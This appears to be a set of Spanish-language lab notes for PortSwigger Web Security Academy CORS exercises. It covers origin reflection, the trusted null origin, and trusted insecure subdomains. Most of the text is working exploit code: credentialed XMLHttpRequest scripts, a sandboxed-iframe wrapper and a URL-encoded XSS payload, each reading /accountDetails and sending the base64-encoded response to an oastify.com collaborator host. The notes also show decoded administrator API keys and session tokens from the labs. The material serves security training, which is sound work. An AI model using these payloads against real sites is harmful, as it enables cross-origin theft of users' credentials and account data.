CORS - PortSwigger

Tipos de errores CORS

  • Access-Control-Allow-Credentials
Access-Control-Allow-Credentials: true

Permite usar las credenciales desde una petición siempre y cuando lo permita el Access-Control-Allow-Origin.

  • Access-Control-Allow-Origin
Access-Control-Allow-Origin: https://test.com

Permite cualquier origen * .

Access-Control-Allow-Origin: null

Permite únicamente origenes “especiales” como peticiones dentro de un “iframe” o wrappers como file://.

Access-Control-Allow-Origin: https://test.domain.com

Permite únicamente subdominios.

JavaScript TIPS

  • Mandar petición con credenciales
req.withCredentials = true;  // Añadir antes del req.open()
  • Ejecutar función después de la petición
req.onload= sendAPI;

function sendAPI() {
  location="https://57aizgseziang09l8ylip2971y7pvfj4.oastify.com/?response="+btoa(this.responseText);
};
  • Enviar una petición desde ‘null’
<iframe sandbox="allow-scripts" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload= sendAPI;
req.withCredentials = true;
req.open('GET','https://0aae0000041193f2805a03aa006e00f9.web-security-academy.net/accountDetails',true);
req.send();
function sendAPI() {
  location='https://mg6z8x1v8zj4phi2hfuzyjioafgf47sw.oastify.com?api='+btoa(req.responseText);
};
</script>"</iframe>

CORS con reflexión básica del origen || CORS vulnerability with basic origin reflection

Vemos que la cabecera de respuesta ‘Access-Control-Allow-Credentials’ está en true, esto nos permite poder enviar peticiones con las credenciales aunque no sea del mismo origen.

Para que podamos explotar el ‘Access-Control-Allow-Credentials’ es necesario que el ‘Access-Control-Allow-Origin’ permita otros origenes fuera del suyo propio.

echo "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIkZuWlE2VnFSZmJKcmtvOWFXOUJxZmJDNVNKR2xzZkpTIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZHp5UlE1Wkh0b2hyMVdSbW9aajFWanNUU2xCZnI3N3UiCiAgXQp9" | base64 -d | jq
{
  "username": "administrator",
  "email": "",
  "apikey": "FnZQ6VqRfbJrko9aW9BqfbC5SJGlsfJS",
  "sessions": [
    "dzyRQ5ZHtohr1WRmoZj1VjsTSlBfr77u"
  ]
}
  • Injection
<script>

var req = new XMLHttpRequest();

req.onload= sendAPI;
req.withCredentials = true;
req.open('GET','https://0a6d00fa047fb7e3804f49e10058008a.web-security-academy.net/accountDetails/');
req.send();

function sendAPI() {
  location="https://57aizgseziang09l8ylip2971y7pvfj4.oastify.com/?response="+btoa(this.responseText);
};

</script>

CORS con origen null marcado como confiable || CORS vulnerability with trusted null origin

Vemos que igual que antes la cabecera ‘Access-Control-Allow-Credentials’ está en true, sin embargo, al poner un origen no vemos la cabecera ‘Access-Control-Allow-Origin’.

Al poner el origen como ‘null’ se refleja en la cabecera de respuesta ‘Access-Control-Allow-Origin’.

Para enviar una petición desde un origen ‘null’, podemos ejecutar el script dentro de un ‘iframe’.

echo "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIlNyRkFuTmFCTm1EcHVLVEJOSUFKOUdGeWxyY1BPMVoyIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiNzJoOXdabU03MUVCckVVMUpBY0FxNVpHR05VSFBhQTEiCiAgXQp9" | base64 -d | jq
{
  "username": "administrator",
  "email": "",
  "apikey": "SrFAnNaBNmDpuKTBNIAJ9GFylrcPO1Z2",
  "sessions": [
    "72h9wZmM71EBrEU1JAcAq5ZGGNUHPaA1"
  ]
}
  • Injection
<iframe sandbox="allow-scripts" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload= sendAPI;
req.withCredentials = true;
req.open('GET','https://0aae0000041193f2805a03aa006e00f9.web-security-academy.net/accountDetails',true);
req.send();
function sendAPI() {
  location='https://mg6z8x1v8zj4phi2hfuzyjioafgf47sw.oastify.com?api='+btoa(req.responseText);
};
</script>"</iframe>

CORS con protocolos inseguros confiables || ## CORS vulnerability with trusted insecure protocols

Nos encontramos con el mismo escenario de antes, sin embargo, no permite el origen ‘null’, pero si permite cualquier subdominio del propio servidor.

Vemos que al usar la función de ‘Check stock’ se envía una petición al subdominio ‘stock’, en el cual podemos explotar un XSS reflejado.

Para explotar la configuración del CORS en el endpoint ‘/accountDetails’ insertamos el siguiente script dentro del XSS:

<script>
var req = new XMLHttpRequest();

req.onload=sendAPI;
req.withCredentials = true;
req.open('GET','https://0ac0005f0392066180c4c11800e900fd.web-security-academy.net/accountDetails',true);
req.send();

function sendAPI(){
  location='https://jbyoodm8q2sscouft8qeqrax3o9hxalz.oastify.com?api='+btoa(req.responseText);
};
</script>

echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIkI2YmZZVU1OZmtZekhIV3hXTllLc3VZOEJEamF1c1BBIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiblVOZW5yU2pNT253a0ViUDlWM2o2b2JHZ0tsRU1NN0siCiAgXQp9" | base64 -d | jq
{
  "username": "administrator",
  "email": "",
  "apikey": "B6bfYUMNfkYzHHWxWNYKsuY8BDjausPA",
  "sessions": [
    "nUNenrSjMOnwkEbP9V3j6obGgKlEMM7K"
  ]
}
  • Injection
<script>
  location="http://stock.0ac0005f0392066180c4c11800e900fd.web-security-academy.net/?productId=%3cscript>var req = new XMLHttpRequest();req.onload=sendAPI;req.withCredentials = true;req.open('GET','https://0ac0005f0392066180c4c11800e900fd.web-security-academy.net/accountDetails',true);req.send();function sendAPI(){  location='https://jbyoodm8q2sscouft8qeqrax3o9hxalz.oastify.com?api='%2Bbtoa(req.responseText);};%3c/script>&storeId=5"
</script>